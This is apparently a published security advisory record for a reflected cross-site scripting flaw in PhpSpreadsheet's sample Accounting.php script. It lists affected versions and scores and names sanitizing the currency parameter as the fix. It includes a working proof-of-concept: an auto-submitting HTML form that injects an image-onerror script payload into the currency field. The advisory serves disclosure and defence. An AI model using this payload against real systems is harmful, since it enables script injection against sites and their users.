{"id":"GHSA-c6fv-7vh8-2rhr","summary":"PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file","details":"# Unauthorized Reflected XSS in the `Accounting.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the currency variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Accounting.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the currency parameter without sanitization, which is controlled by the attacker.\n\n![fig7](https://github.com/user-attachments/assets/da0ee52d-2306-4770-a61d-bce4ba553f4f)\n\n*Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"number\" value=\"1234.5678\" /\u003e\n      \u003cinput type=\"hidden\" name=\"currency\" value=\"$<img src=1 onerror=alert()>\" /\u003e\n      \u003cinput type=\"hidden\" name=\"decimals\" value=\"2\" /\u003e\n      \u003cinput type=\"hidden\" name=\"position\" value=\"1\" /\u003e\n      \u003cinput type=\"hidden\" name=\"spacing\" value=\"0\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submit\" value=\"Display Mask\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.\n\n\u003cimg width=\"460\" alt=\"fig8\" src=\"https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1\" /\u003e\n\n*Figure 8. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","aliases":["CVE-2024-56366"],"modified":"2025-03-06T18:37:10.209003Z","published":"2025-01-03T17:06:23Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2025-01-03T17:06:23Z","nvd_published_at":"2025-01-03T17:15:08Z","cwe_ids":["CWE-79"]},"references":[{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-c6fv-7vh8-2rhr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56366"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"affected":[{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.7.0"}]}],"versions":["3.3.0","3.4.0","3.5.0","3.6.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-c6fv-7vh8-2rhr/GHSA-c6fv-7vh8-2rhr.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.7"}]}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.29.2","1.29.4","1.29.5","1.29.6","1.3.0","1.3.1","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.29.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-c6fv-7vh8-2rhr/GHSA-c6fv-7vh8-2rhr.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.6"}]}],"versions":["2.0.0","2.1.0","2.1.1","2.1.3","2.1.4","2.1.5"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.1.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-c6fv-7vh8-2rhr/GHSA-c6fv-7vh8-2rhr.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.3.5"}]}],"versions":["2.2.0","2.2.1","2.2.2","2.3.0","2.3.2","2.3.3","2.3.4"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.3.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-c6fv-7vh8-2rhr/GHSA-c6fv-7vh8-2rhr.json"}},{"package":{"name":"phpoffice/phpexcel","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpexcel"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.2"}]}],"versions":["1.7.9","1.7.9-rc1","1.8.0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.1","1.8.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-c6fv-7vh8-2rhr/GHSA-c6fv-7vh8-2rhr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L"}]}